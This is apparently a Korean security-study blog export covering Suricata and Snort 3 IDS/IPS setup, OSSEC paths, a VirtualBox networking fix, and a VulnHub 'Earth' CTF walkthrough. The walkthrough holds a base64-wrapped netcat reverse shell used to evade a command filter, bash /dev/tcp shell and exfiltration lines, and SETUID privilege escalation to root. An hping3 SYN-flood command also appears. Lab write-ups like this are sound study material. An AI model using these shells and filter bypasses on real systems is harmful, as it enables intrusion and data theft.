# 인터페이스 모니터링 모드 실행
sudo snort -i enp0s3 -c /etc/snort/snort.conf -A fast

# pcap 파일 오프라인 분석
sudo snort -r /tmp/capture.pcap -c /etc/snort/snort.conf

# 알림 로그 확인
sudo tail -f /var/log/snort/alert

# ─── 자주 헷갈리는 부분 ─────────────────────────
# Snort 3 vs Snort 2 설정 파일 위치가 다름
# Snort 2: /etc/snort/snort.conf
# Snort 3: /etc/snort/snort.lua  ← lua 파일 사용!

빠른 참조 — 경로 & 포트 치트시트

CHEATSHEET

항목	경로 / 값	설명
OSSEC 설정	`/var/ossec/etc/ossec.conf`	서버·에이전트 공통 메인 설정 파일
OSSEC 알림 로그	`/var/ossec/logs/alerts/alerts.log`	모든 탐지 이벤트가 기록됨. 운영 중 tail -f 로 모니터링
OSSEC 에이전트 키 관리	`/var/ossec/bin/manage_agents`	에이전트 추가(A), 키 추출(E), 키 등록(I)
OSSEC 포트	1514 (UDP/TCP)	에이전트 → 서버 통신 포트. 방화벽에서 반드시 열어야 함
Suricata 알림	`/var/log/suricata/fast.log`	간단한 한 줄 형식. 빠른 확인에 적합
Suricata JSON 로그	`/var/log/suricata/eve.json`	상세 이벤트. ELK Stack 연동 시 이 파일 사용
Snort 알림	`/var/log/snort/alert`	Snort 2 기준. Snort 3은 경로 다를 수 있음
tcpdump 저장 형식	.pcap	Wireshark, Suricata, Snort 모두 -r 옵션으로 읽을 수 있음

[KaliLinux & Rocky9.7] 보안 인프라 구축 실습 정리 | Suricata IDS/IPS 설치 및 설정 가이드

palantirops — Wed, 13 May 2026 17:22:32 +0900

Suricata IDS/IPS 설치 및 설정 가이드

️ Suricata IDS/IPS 설치 및 설정 완전 가이드 (Rocky Linux / RHEL 계열)

1. Suricata란?
2. 설치
3. 프로미스큐어스 모드 설정
4. 설정 파일
5. 룰(Rule) 업데이트
6. 서비스 시작 및 관리
7. 로그 확인
8. 커스텀 룰 작성 예시 (SSH 탐지)
9. 룰 문법 상세 설명
10. 트러블슈팅 & 팁

1 Suricata란?

Suricata는 OISF(Open Information Security Foundation)에서 개발한 오픈소스 네트워크 보안 엔진이다.
IDS(침입 탐지 시스템), IPS(침입 방지 시스템), NSM(네트워크 보안 모니터링) 기능을 모두 제공하며, 멀티스레드 처리로 고속 트래픽 환경에서도 실시간 분석이 가능하다.

모드	설명
IDS (탐지)	트래픽을 모니터링하고 알림만 생성, 차단하지 않음
IPS (방지)	악성 트래픽을 실시간으로 차단
NSM (모니터링)	전체 네트워크 흐름 기록 및 분석

2 설치

2-1. EPEL 저장소 추가 및 시스템 업데이트

# EPEL 저장소 설치 (Extra Packages for Enterprise Linux)
dnf install -y epel-release

# 시스템 패키지 전체 업데이트
dnf update -y

2-2. Suricata 설치

dnf install -y suricata

2-3. 설치 버전 확인

suricata -V

예시 출력: This is Suricata version 7.x.x RELEASE

RPM 락 오류 발생 시
패키지 설치 중 Error: Failed to download metadata for repo 또는 락 오류가 발생하면 아래 명령어로 해결:

sudo rm -f /var/lib/rpm/.rpm.lock

3 프로미스큐어스 모드 (Promiscuous Mode)

일반적으로 NIC는 자신에게 전달된 패킷만 수신한다.
프로미스큐어스 모드를 활성화하면 네트워크 상의 모든 패킷을 수신하여 Suricata가 전체 트래픽을 분석할 수 있다.

활성화 / 비활성화

# 프로미스큐어스 모드 켜기 (enp0s3 는 본인 NIC 이름으로 변경)
sudo ifconfig enp0s3 promisc

# 프로미스큐어스 모드 끄기
sudo ifconfig enp0s3 -promisc

# 현재 NIC 이름 확인
ip link show

⚠️ 주의: 재부팅하면 프로미스큐어스 모드가 해제된다. 영구 적용이 필요하면 /etc/rc.d/rc.local 또는 systemd 서비스로 등록해야 한다.

4 설정 파일

4-1. 메인 설정 파일

vi /etc/suricata/suricata.yaml

Suricata의 모든 동작을 제어하는 핵심 파일이다. 주요 설정 항목:

항목	설명
`HOME_NET`	내부 네트워크 IP 대역 지정 (예: 192.168.0.0/16)
`EXTERNAL_NET`	외부 네트워크 정의 (보통 !$HOME_NET)
`af-packet`	패킷 캡처에 사용할 NIC 인터페이스 지정
`default-log-dir`	로그 저장 경로 (/var/log/suricata/)
`rule-files`	적용할 룰 파일 목록

4-2. 서비스 옵션 파일

vi /etc/sysconfig/suricata

systemd로 Suricata를 실행할 때 사용할 인터페이스, 옵션 등을 지정한다.

# 예시: 인터페이스 지정
OPTIONS="-i enp0s3"

5 룰(Rule) 업데이트

5-1. 기본 룰 업데이트

suricata-update

Suricata 공식 룰셋을 최신 버전으로 다운로드하여 /var/lib/suricata/rules/에 저장한다.

5-2. 룰 소스 목록 확인

suricata-update list-sources

사용 가능한 서드파티 룰 소스 목록이 출력된다.

5-3. ET/Open 룰 활성화

# Emerging Threats Open 룰셋 활성화 (무료, 추천)
suricata-update enable-source et/open

# 활성화 후 룰 다시 업데이트
suricata-update

5-4. 룰 파일 위치 확인

ls -al /var/lib/suricata/rules/

6 서비스 시작 및 관리

# 서비스 활성화 + 즉시 시작
systemctl enable --now suricata

# 서비스 상태 확인
systemctl status suricata

# 서비스 재시작 (룰 변경 후 필수)
systemctl restart suricata

커스텀 룰을 추가하거나 suricata.yaml을 수정한 후에는 반드시 systemctl restart suricata를 실행해야 변경 사항이 적용된다.

7 로그 확인

7-1. 로그 디렉토리

ls /var/log/suricata/

파일명	설명
`fast.log`	빠른 알림 로그 (한 줄 요약 형식)
`eve.json`	상세 이벤트 로그 (JSON 형식, 분석용)
`suricata.log`	Suricata 엔진 자체 로그 (오류, 경고)
`stats.log`	통계 정보 (패킷 수, 처리량 등)

7-2. fast.log 실시간 확인

cat /var/log/suricata/fast.log
tail -f /var/log/suricata/fast.log

7-3. eve.json 실시간 확인 (jq로 파싱)

# jq 설치
dnf install -y jq

# eve.json 실시간 스트림
tail -f /var/log/suricata/eve.json

# 알림(alert) 이벤트만 필터링
tail -f /var/log/suricata/eve.json | jq '.alert'

7-4. 룰 동작 테스트

# NIDS 테스트 사이트에 요청을 보내 룰이 트리거되는지 확인
curl http://testmynids.org/uid/index.html

요청 후 fast.log나 eve.json에 알림이 기록되면 Suricata가 정상 동작하는 것이다.

8 커스텀 룰 작성 예시 — SSH 연결 탐지

8-1. 로컬 룰 파일 편집

vi /etc/suricata/rules/local.rules

8-2. SSH 연결 시도 탐지 룰

alert tcp any any -> any 22 (msg:"SSH Connection Attempt Detected"; flags:S; sid:1000002; rev:1;)

8-3. 룰 분해 설명

구성 요소	값	설명
액션 (Action)	`alert`	조건 충족 시 알림 생성 (차단은 `drop`)
프로토콜	`tcp`	TCP 트래픽 대상
출발지 IP	`any`	모든 출발지 IP
출발지 포트	`any`	모든 출발지 포트
방향	`->`	단방향 (출발 → 목적지)
목적지 IP	`any`	모든 목적지 IP
목적지 포트	`22`	SSH 포트
msg	"SSH Connection Attempt Detected"	로그에 기록될 메시지
flags	`S`	TCP SYN 플래그 (연결 시도 패킷)
sid	`1000002`	룰 고유 ID (1000000 이상은 커스텀용)
rev	`1`	룰 버전 (수정 시 증가)

테스트 방법: Windows에서 PuTTY로 SSH 접속을 시도하면 해당 룰이 발동되어 fast.log에 기록된다.
tail -f /var/log/suricata/fast.log로 실시간 확인 가능.

8-4. 적용 방법

# 1. local.rules가 suricata.yaml의 rule-files에 등록되어 있는지 확인
grep "local.rules" /etc/suricata/suricata.yaml

# 2. 없으면 suricata.yaml에 아래 항목 추가
#  rule-files:
#    - /etc/suricata/rules/local.rules

# 3. Suricata 재시작
systemctl restart suricata

9 룰 문법 상세 설명

기본 구조

액션 프로토콜 출발지IP 출발지포트 방향 목적지IP 목적지포트 (옵션들;)

주요 액션

액션	설명
`alert`	알림만 생성 (IDS 모드)
`drop`	패킷 차단 + 알림 (IPS 모드)
`pass`	해당 트래픽 무시
`reject`	차단 + TCP RST 또는 ICMP 응답 전송

주요 옵션

옵션	설명	예시
`msg`	알림 메시지	`msg:"HTTP attack";`
`content`	페이로드 문자열 매칭	`content:"GET";`
`pcre`	정규식 매칭	`pcre:"/admin/i";`
`flags`	TCP 플래그 (S, A, F, R, P 등)	`flags:S;`
`threshold`	반복 횟수 기반 임계값 설정	—
`sid`	룰 고유 ID (필수)	`sid:1000001;`
`rev`	룰 개정 버전 (필수)	`rev:1;`
`classtype`	공격 분류	`classtype:trojan-activity;`

방향 연산자

연산자	의미
`->`	단방향: 출발지 → 목적지
`<>`	양방향: 양쪽 모두 탐지

10 트러블슈팅 & 팁

룰 문법 검사 (재시작 전 확인)

suricata -T -c /etc/suricata/suricata.yaml

수동으로 단일 PCAP 파일 분석

suricata -c /etc/suricata/suricata.yaml -r /path/to/file.pcap

특정 인터페이스에서 직접 실행 (테스트용)

suricata -c /etc/suricata/suricata.yaml -i enp0s3

eve.json에서 특정 이벤트 타입 필터링

# alert 이벤트만
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'

# DNS 이벤트만
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="dns")'

# 알림 메시지와 출발지 IP만 출력
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert") | {src_ip, alert: .alert.signature}'

sid 범위 관리 권장:
· 1~999999 : 공식 룰셋 (수정 금지)
· 1000000~1999999 : 로컬/커스텀 룰 전용
· 2000000~ : ET/Open 룰셋

⚠️ IPS 모드 전환 시 주의: alert를 drop으로 바꾸기 전에 반드시 테스트 환경에서 충분히 검증할 것. 잘못된 룰이 정상 트래픽을 차단할 수 있다.

본 문서는 Rocky Linux 9 / RHEL 계열 환경 기준으로 작성되었습니다.

[CTF: Earth] KaliLinux로 취약점 분석 및 flag 획득 방법 총정리

palantirops — Tue, 12 May 2026 18:52:07 +0900

해당 내용은 보안 공부를 위해 진행된것입니다.

1. 해당 아래 주소로 들어가서 earth.ova를 설치합니다.

https://www.vulnhub.com/

2. VirtualBox → 파일 → 가상 시스템 가져오기 → 다운받은 Earth.ova 선택 → 설정 후 머신 시작

# 필자는 DHCP가 되어있기 때문에, 어댑터에 브리지로 연결했습니다. 만약 본인 아이피를 정적으로 할당해야 한다면 호스트에 연결을 누르시고, 네트워크 mac대역을 확인하시고 넣으시면 됩니다.

3. 환경 구성

호스트	역활	OS	IP (실습환경)
Kali	Attacker	Debian GNU	172.16.11.213
Earth	Victim	Fedora Linux	172.16.11.214

4. 네트워크 스캔 - 타겟 IP 찾기

(4-1) CTF 머신 아이피를 찾아봅니다.

sudo nmap -sn 172.16.11.0/24
sudo netdiscover -r 172.16.11.0/24
sudo arp-scan -l

# 해당 본인 아이피 게이트웨이 대역으로 검색을 해봅니다. 그럼 아래와 같이 나올텐데요. 발견된 호스트 목록을 봅니다.

발견된 호스트 목록
172.16.11.201 - Intel Corporate (물리 장비)
172.16.11.203 - Unknown
172.16.11.214 - Oracle VirtualBox → Earth 머신!
172.16.11.213 - Kali (본인)

따라서 우리가 연결한 CTF 머신의 아이피는 위와 같이 설정된걸 확인할 수 있습니다.

(4-2) 네트워크에서 활성화 호스트를 찾습니다.

sudo nmap -sV -v -p- 172.16.11.214
sudo nmap -sV -v -sC 172.16.11.214

열린 포트
22/tcp - SSH
80/tcp - HTTP (Bad Request 400)
443/tcp - HTTPS (Fedora Test Page)
+ DNS 서비스 확인 후 해당 아이피를 Kali 파이어폭스에 들어가보면

80포트로 접속하면 Bad Request(400)가 뜨는데, 이는 IP로 직접 접근했기 때문이다. 도메인으로 접근해야 정상 페이지가 보인다. -> 따라서 해당 화면은 정상입니다. 핑을 확인해서 시간이 가는걸 확인해보면 되겠죠?

5. 웹 정보 수집

(5-1) 아래와 같이 칼리 터미널에 입력해봅니다.

sudo nmap -sV -v -p- 172.16.11.214

자세히 보시면 위에 earth.local이 보입니다! 해당 도메인을 아이피와 연결해줍니다(CTF 피해자 머신)

sudo nano /etc/hosts

# 아래 내용 추가
172.16.11.214  earth.local terratest.earth.local

/etc/hosts에 등록하면 DNS 서버 없이도 도메인으로 접근 가능하다. 실제 모의해킹에서도 내부망 도메인 접근 시 자주 사용하는 방법이다.

(5-2) 디렉토리 스캐닝

# dirb와 gobuster로 숨겨진 디렉토리/파일을 찾습니다.

# dirb로 스캔
dirb http://earth.local
dirb https://earth.local
dirb https://terratest.earth.local

# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/big.txt -k

첫번째 단서1) http://earth.local/admin

두번째 단서2) wordlist_files?

->해당 경로를 더 자세하게 들어가본다!

# gobuster로 더 깊게 스캔 (-k : SSL 인증서 무시)
sudo gobuster dir -u https://terratest.earth.local \
  -w /usr/share/wordlists/dirb/common.txt -k

발견된 경로
✅ /admin → 관리자 로그인 페이지
✅ /robots.txt → 추가 파일 목록

(5-3) 숨겨진 파일 분석

1) http://earth.local/admin

https://terratest.earth.local/robots.txt

-> 맨 아래 testingnotes.*로 들어간다. 아래에 들어가게 되면 used as username에 terra가 보인다 -> 이게 아이디다!

-> 위에 보면 testdata.txt가 보인다! 거기에 또 들어가면 아래와 같은 문구가 나오는데 CyberChef라는것을 이용해서 XOR 복호화를 할때 사용하는 key가 된다.!

일단 위와 같은 사이트에 들어가면 맨 아래, 굉장히 긴 암호문이 있는데 그걸 복사합니다.

1) 칼리 파이어폭스에 들어가서 cyberchef로 들어갑니다.

2) 먼저 오퍼레이션을 눌러서 -> from hex를 먼저 드래그해서 옆으로 옮겨주고

3) 그다음 xor을 검색해서 드래그 해서 옆으로 옮깁니다.

4) 길었던 암호문을 인풋에 넣고, 아래 xor key에는 아까 testdata.txt사이트에 나온 문구를 UTF8로 넣어주면 완성됩니다.

5) 아래가 비밀번호 입니다.

earthclimatechangebad4humans

획득한 계정 정보
ID: terra
PW: earthclimatechangebad4humans

6. 관리자 페이지 로그인 & User Flag 획득

STEP 6-1

획득한 계정으로 /admin 페이지 로그인

http://earth.local/admin
ID: terra
PW: earthclimatechangebad4humans

STEP 6-2

로그인 후 CLI Command 툴에서 User Flag 확인

ls /var/earth_web/
cat /var/earth_web/user_flag.txt

User Flag 획득 완료!

7. STEP 6. 리버스 쉘 (Reverse Shell)

왜 base64로 인코딩하는가?

CLI Command 툴에는 특정 문자열 필터가 걸려 있어 nc 명령어를 직접 입력하면 차단됩니다. 그래서 명령어 전체를 base64로 인코딩해서 필터를 우회합니다.

nc -e /bin/bash 는 그냥 외우는 공식이에요

리버스쉘 할 때 nc 쓰면 거의 항상 이 형태예요:

nc -e /bin/bash [공격자IP] [포트]

-e : 연결되면 이 프로그램 실행해라
/bin/bash : 실행할 프로그램 = bash 쉘

/bin/bash 가 어디있는지 직접 찾은게 아니라 리눅스는 bash가 항상 /bin/bash에 있다는걸 알고 있어서 쓰는 거예요.

마치 공식처럼

웹쉘 실행 가능하면 → nc -e /bin/bash IP 포트
python 있으면 → python3 -c 'import pty...'
bash 있으면 → bash -i >& /dev/tcp/IP/포트 0>&1

이런 패턴들을 CTF 하면서 하나씩 외워가는 거예요.

처음엔 다 보고 따라하고, 나중엔 자연스럽게 외워지는 흐름이에요

STEP 7-1

칼리에서 명령어를 base64로 인코딩

echo 'nc -e /bin/bash 172.16.11.213 4444' | base64
# 출력된 base64 값을 복사해둔다

STEP 7-2

칼리에서 4444 포트 대기 (리스닝) -> 터미널을 하나 더 여세요!

sudo nc -lvnp 4444

STEP 7-3

Earth의 CLI Command 툴에서 아래 명령어 입력

echo '복사한base64값' | base64 -d | bash

STEP 6-4

칼리에서 연결 확인 후 인터랙티브 쉘로 업그레이드

python3 -c 'import pty; pty.spawn("/bin/bash")'

⚠️ 자주 하는 실수
- -C (대문자) ❌ → -c (소문자) ✅
- pth ❌ → pty ✅
- python ❌ → python3 ✅ (Fedora는 python3 기본)

✅ 연결 성공!
whoami 입력 시 → apache 출력 (apache 유저로 접속된 상태)

STEP 8. 권한 상승 (Privilege Escalation)

SETUID/SETGID란?

SETUID가 설정된 파일은 실행 시 파일 소유자의 권한으로 동작한다.

예: root 소유의 SETUID 파일을 일반유저(apache)가 실행
→ 실행 순간 root 권한으로 동작!

이를 이용해 일반유저 → root 권한상승(Privilege Escalation)이 가능하다.
모의해킹에서 권한상승 시 가장 먼저 확인하는 항목이다.

STEP 8-1

SETUID 설정된 파일 검색

# SETUID 파일 전체 검색 (에러 메시지는 /dev/null로 버림)
find / -perm -u=s -type f 2>/dev/null

# passwd 파일 확인
sudo find / -name passwd
ls -l /usr/bin/passwd

발견!
/usr/bin/reset_root → SETUID 설정된 root 소유 파일

STEP 8-2

reset_root 파일 분석

file /usr/bin/reset_root
reset_root
# → RESET FAILED 출력 (조건이 충족되지 않아서)

reset_root 파일을 칼리로 전송해서 분석

STEP 8-3

칼리에서 수신 대기 (새 터미널)

nc -lvnp 3333 > reset_root

STEP 8-4

Earth 쉘(bash-5.1$)에서 파일 전송

cat /usr/bin/reset_root > /dev/tcp/172.16.11.213/3333

⚠️ 파일이 0 bytes로 오는 경우
IP 주소가 틀렸거나, Earth 쉘에서 명령어를 입력하지 않은 경우이다.
반드시 bash-5.1$ 프롬프트에서 입력해야 한다. ip a로 칼리 IP 재확인!

업데이트 후에 ltrace설치해야함
sudo apt update
sudo apt install -y

STEP 8-5

칼리에서 파일 확인 및 ltrace로 분석

ls -l reset_root          # 파일 크기 0이 아닌지 확인
sudo apt update -y
sudo apt install -y ltrace
sudo chmod +x reset_root
ltrace ./reset_root

ltrace 분석 결과 - 필요한 파일 3개 발견
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe

STEP 8-6

Earth 쉘에서 3개 파일 생성 후 reset_root 실행

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
reset_root
# → RESETTING ROOT PASSWORD TO: Earth

STEP 8-7

root로 전환

su root
# 패스워드: Earth

root 계정 획득!
ID: root / PW: Earth

STEP 8. Root Flag 획득

STEP 8-1

root 홈 디렉토리에서 flag 확인

cd /root
ls
cat root_flag.txt

Root Flag 획득 완료! CTF 클리어!

회고 및 정리

핵심 개념 정리

SETUID	파일 실행 시 소유자 권한으로 동작 → 권한상승 핵심
Reverse Shell	피해자가 공격자에게 연결 → 방화벽 우회 가능
base64 우회	필터링된 명령어를 인코딩해서 우회
ltrace	실행 파일이 어떤 라이브러리 함수를 호출하는지 추적
dirb/gobuster	웹 디렉토리/파일 브루트포스 스캐닝 도구
XOR 복호화	CyberChef로 암호화된 값 복호화

어려웠던 점

CyberChef Key 입력 시 HEX/UTF8 드롭다운 설정 헷갈림
nc 파일 전송 시 IP 불일치로 빈 파일(0 bytes) 전송되는 문제
python3 명령어 대소문자 오타 (-C vs -c, pth vs pty)
bash-5.1$ 프롬프트에서 입력해야 한다는 것을 몰라서 연결 안 됐던 것

배운 점

실제 모의해킹 흐름(정보수집→침투→권한상승)을 직접 체험
base64 우회가 왜 필요한지 이해 → 방어 관점에서 base64 트래픽도 모니터링 필요
SETUID 파일 하나로 root까지 올라갈 수 있다는 것의 위험성 체감
IDS(Snort/Suricata)는 탐지만 가능, 차단(drop)은 IPS에서 가능

[KaliLinux_Ubuntu] 보안 인프라 구축 실습 정리 | Snort 3 · Nmap · IDS/IPS

palantirops — Mon, 11 May 2026 18:09:35 +0900

보안 인프라 구축 실습 정리 | Snort 3 · Nmap · IDS/IPS

Nmap ️ Snort 3 IDS / IPS Ubuntu

보안 인프라 구축 실습 정리

네트워크 스캔 · 패킷 분석 · Snort 3 설치 · IDS/IPS 개념 완전 정리

모의 해킹 프로세스 (Kill Chain)

공격자의 시각으로 보안을 이해하는 프레임워크. 각 단계를 알아야 방어도 가능하다.

단계	명칭	설명
1	정찰 (Reconnaissance)	ping, 포트 스캔, 서비스 스캔으로 정보 수집
2	무기화 (Weaponization)	취약점 분석, 공격 코드 준비
3	전달 (Delivery)	악성 코드 전송
4	공격 (Exploitation)	취약점 실제 공격
5	설치 (Installation)	백도어 설치
6	C&C	원격 제어
7	목표 달성	데이터 탈취, 시스템 파괴

Nmap — 네트워크 스캔

호스트 탐색 (살아있는 IP 확인)

bash

sudo nmap -sn 172.16.11.0/24

결과에서 확인할 것 → Host is up (통신 가능) · MAC Address (가상머신 여부 판단)

자주 쓰는 옵션 모음

명령어	설명
`nmap -sn <target>`	포트 스캔 없이 호스트만 탐색 (Ping Scan)
`nmap -p <범위> <target>`	특정 포트 범위 스캔
`nmap -p- <target>`	모든 TCP 포트 스캔 (0~65535)
`nmap -sV <target>`	열린 포트의 서비스 버전 감지
`nmap -O <target>`	운영체제 감지
`nmap -A <target>`	공격적 스캔 (OS + 버전 + 스크립트 + traceroute)
`nmap -sS <target>`	SYN 스캔 (3-way handshake 미완성, 은밀함)
`nmap -sT <target>`	TCP 연결 스캔 (포트 열림/닫힘 확인)
`nmap -sU -p <범위> <target>`	UDP 포트 스캔
`nmap -T<0-5> <target>`	속도 조절 (0=가장 느림, 5=가장 빠름)
`nmap -iL <파일> <target>`	파일에서 대상 호스트 읽어서 스캔
`nmap --script <스크립트> <target>`	NSE 스크립트로 정보 수집
`nmap -p 80,443,22 <target>`	특정 포트만 스캔

tcpdump — 패킷 캡처

패킷을 실시간으로 캡처하는 도구. 어떤 트래픽이 오가는지 확인할 때 사용.

bash

# 기본 실행 (모든 패킷 캡처)
sudo tcpdump

# 특정 인터페이스 지정
sudo tcpdump -i eth0

hping3 — DoS 공격 테스트

bash

# SYN Flooding — SYN 패킷 1000개 전송
sudo hping3 172.16.11.235 -S -c 1000

공격 유형	설명
SYN Flooding	다량의 SYN 패킷으로 서버 자원 고갈
LAND Attack	출발지/목적지 IP를 동일하게 설정 → 시스템 루프 유발
Smurf Attack	출발지 IP 변조 후 브로드캐스트로 다량 응답 유도

Snort 3 설치 전체 흐름

Step 5-1

의존성 패키지 설치

bash

sudo apt install build-essential libpcap-dev libpcre3-dev libnet1-dev \
zlib1g-dev luajit hwloc libdumbnet-dev bison flex liblzma-dev openssl \
libssl-dev pkg-config libhwloc-dev cmake cpputest libsqlite3-dev uuid-dev \
libcmocka-dev libnetfilter-queue-dev libmnl-dev autotools-dev \
libluajit-5.1-dev libunwind-dev libfl-dev -y

sudo apt install libpcre2-dev -y
sudo apt install -y git

Step 5-2

libdaq 설치 — Snort 데이터 수집 부품

bash

sudo git clone https://github.com/snort3/libdaq.git
cd libdaq
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install
cd ~

Step 5-3

gperftools 설치 — 성능 향상 도구

bash

sudo wget https://github.com/gperftools/gperftools/releases/download/gperftools-2.13/gperftools-2.13.tar.gz
sudo tar xzf gperftools-2.13.tar.gz
cd gperftools-2.13
sudo ./configure
sudo make install
sudo ldconfig

Step 5-4

Snort 3 빌드 및 설치

bash

# snort3 소스 폴더에서 실행
sudo ./configure_cmake.sh --prefix=/usr/local --enable-tcmalloc
sudo make install
sudo ldconfig

# 설치 확인
sudo snort -V

Step 5-5 · 트러블슈팅

apt 오류 날 때 (잠금 파일 충돌)

bash

sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg --configure -a
sudo apt update

Snort NIC 설정 (프로미스큐어스 모드)

프로미스큐어스 모드란?
일반 NIC는 자신의 MAC 주소가 목적지인 패킷만 처리한다. 이 모드를 켜면 네트워크 상의 모든 패킷을 수신해서 분석할 수 있다. Snort 같은 IDS가 전체 망을 감시하려면 반드시 필요하다.

수동으로 켜기

bash

sudo ip link set dev enp0s3 promisc on
sudo ethtool -K enp0s3 gro off lro off

# 확인
ip addr
sudo ethtool -k enp0s3 | grep receive-offload

부팅 시 자동 실행 서비스 등록

bash

sudo vi /usr/lib/systemd/system/snort3-nic.service

ini

[Unit]
Description=Set Snort 3 NIC in promiscuous mode and Disable GRO, LRO on boot
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/sbin/ip link set dev enp0s3 promisc on
ExecStart=/usr/sbin/ethtool -K enp0s3 gro off lro off
TimeoutStartSec=0
RemainAfterExit=yes

[Install]
WantedBy=default.target

bash

sudo systemctl daemon-reload
sudo systemctl start snort3-nic
sudo systemctl enable snort3-nic

Snort 설정 파일 수정

bash

sudo vi /usr/local/etc/snort/snort.lua

188번 라인 — 네트워크 대역 설정

lua

HOME_NET = '172.16.11.0/16'
EXTERNAL_NET = '!$HOME_NET'

197번 라인 — 룰 파일 연결

lua

ips =
{
    variables = default_variables,
    rules = [[
        include /usr/local/etc/snort/rules/local.rules
    ]]
}

룰 파일 생성 및 검증

bash

cd /usr/local/etc/snort
sudo mkdir rules
cd rules
sudo touch local.rules
ls local.rules

# 설정 검증 — 에러 없으면 "Successfully validated" 출력
sudo snort -c /usr/local/etc/snort/snort.lua

검증 화면에서 확인할 3가지 포인트

확인 항목	위치	의미
`Successfully validated`	맨 아랫줄	설정 파일 문법 오류 없음 ✅
`total rules loaded: 219`	중간 rule counts 섹션	룰이 정상적으로 로딩됨
`pcap DAQ configured to passive`	하단	수동 감시 모드 (탐지만, 차단 아님)

이 화면은 "나는 이제 눈을 뜨고 지켜볼 준비가 다 되었습니다!" 라는 보고서다. 다음 단계는 ping 테스트로 실제로 Alert가 뜨는지 확인하는 것.

IDS/IPS 핵심 개념 + 룰 구조

Snort 3가지 동작 모드

모드	설명
Sniffer 모드	패킷을 읽어서 화면에 출력 (tcpdump와 유사)
Packet Logger 모드	탐지 패킷을 디스크에 로그 파일로 저장
NIDS/NIPS 모드	실시간 패킷 분석 후 룰에 따라 탐지/차단

★ 룰 구조 — 시험 단골 ★

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"HTTP Access"; content:"GET"; sid:1000001;)

룰 헤더 (Rule Header)

항목	예시	설명
Action	`alert`	alert / log / pass / drop
Protocol	`tcp`	tcp / udp / icmp / ip
출발지	`$EXTERNAL_NET any`	IP : 포트
방향	`->`	단방향 / `<>` 양방향
목적지	`$HOME_NET 80`	IP : 포트

룰 옵션 (Rule Options)

옵션	설명
`msg`	로그에 남길 메시지
`content`	패킷에서 찾을 문자열 (가장 중요)
`sid`	룰 고유 번호 (100만번대 이상 사용)

IDS vs IPS

구분	IDS	IPS
역할	탐지 후 경보	탐지 후 실시간 차단
Snort 모드	기본 모드	`-Q` 옵션 (Inline Mode)
인터페이스	1개	2개 이상 필요

Snort vs Suricata 비교

항목	Snort	Suricata
스레딩	싱글 스레드	멀티 스레드 (대용량 처리 유리)
룰 호환	Snort 룰	Snort 룰 호환
로그 형식	텍스트	EVE JSON (`eve.json`)
설정 검증	`snort -c [파일] -T`	`suricata -T -c [파일] -v`
실시간 로그	—	`tail -f eve.json \| jq 'select(.event_type=="alert")'`

오탐(False Positive) 관리 포인트

정상 트래픽을 공격으로 오인하면 서비스 장애가 발생한다. pass 액션 활용 및 세밀한 옵션 설정으로 관리. 룰 업데이트는 정기적으로 수행 필요 (시그니처 기반 탐지의 한계).

설치 진행 상태

단계	작업 내용	상태
1단계	Snort 3 설치	✅ 완료
2단계	NIC 서비스 파일 생성	✅ 완료
3단계	snort.lua 설정 수정	✅ 완료
4단계	설정 검증	✅ 성공

기타 유용한 명령어

bash

# 성능 모니터링 도구
sudo apt install htop

# Docker 컨테이너 중지
sudo docker stop pmm-server

[네트워크] 네트워크 토폴로지 아이피 대역 설정 및 기본 세팅 명령어 정리

palantirops — Sat, 9 May 2026 17:45:17 +0900

<해당 완성 이미지를 구축할때 필요한 명령어 아래와 같이 정리>

[Ubuntu] VirtualBox DHCP IP 할당 불안정 문제 완벽 해결 가이드

palantirops — Fri, 1 May 2026 17:39:14 +0900

VirtualBox DHCP IP 할당 불안정 문제 완벽 해결 가이드

20시간의 시행착오를 정리했습니다. Docker 설치 후 갑자기 발생한 DHCP 할당 실패 문제의 원인과 근본적인 해결방법입니다.

문제 상황 요약

증상

이전: 부팅할 때마다 공유기(DHCP)에서 정상적으로 IP 할당 (예: 172.16.11.235)
현재: 부팅 시 공유기 대신 호스트 PC의 가상 IP(예: 223.x.x.x) 자동 할당
임시 해결: ipconfig /release → ipconfig /renew 수행하면 정상 IP로 변경됨, 버츄얼박스 브릿지에 연결되어 있는 기기를 계속 지우고 다시 연결하고 삭제해도 같은 문제 반복됨.
반복 발생: 부팅할 때마다 같은 문제 반복

시간대별 문제 진행

월요일까지     → DHCP 정상 할당 ✅
화요일 아침     → 갑자기 할당 실패 ❌
그 사이에       → Docker & Hyper-V 삭제

원인 분석

근본 원인: Windows Hyper-V와 VirtualBox의 네트워크 충돌

Docker 설치 시 발생한 변화:

Docker 설치 → Hyper-V 자동 활성화
Hyper-V 활성화 → Windows 가상 스위치(vEthernet) 생성
vEthernet이 네트워크 우선순위를 높게 설정
VirtualBox의 DHCP 요청이 공유기 대신 Windows 가상 스위치에 먼저 캡처됨
결과적으로 잘못된 IP 범위(223.x.x.x)에서 할당받음

왜 기존 방법들이 임시 해결일까?

ipconfig /release/renew: 그 순간만 정상 IP로 변경되지만, 부팅 시 우선순위 문제는 해결 안 됨
브릿지 제거, 디바이스 삭제: 임시 해결이지 근본 원인 제거 아님

✅ 근본적인 해결 방법: netplan 고정 IP 설정

가장 안정적인 해결책은 DHCP 의존성 제거입니다.
Linux VM 내부에서 고정 IP를 설정하면 부팅 시마다 안정적으로 작동합니다.

적용 단계

Step 1: 현재 설정 파일 확인

cd /etc/netplan
ls -la

보통 다음 중 하나 있음:

00-installer-config.yaml
01-netcfg.yaml
50-cloud-init.yaml

Step 2: 백업 (매우 중요!)

sudo cp /etc/netplan/00-installer-config.yaml /etc/netplan/00-installer-config.yaml.backup

Step 3: 파일 편집

sudo nano /etc/netplan/00-installer-config.yaml

Step 4: 기존 내용 전부 삭제하고 아래 입력

network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: false
      addresses:
        - 172.16.11.235/24
      routes:
        - to: default
          via: 172.16.11.254
      nameservers:
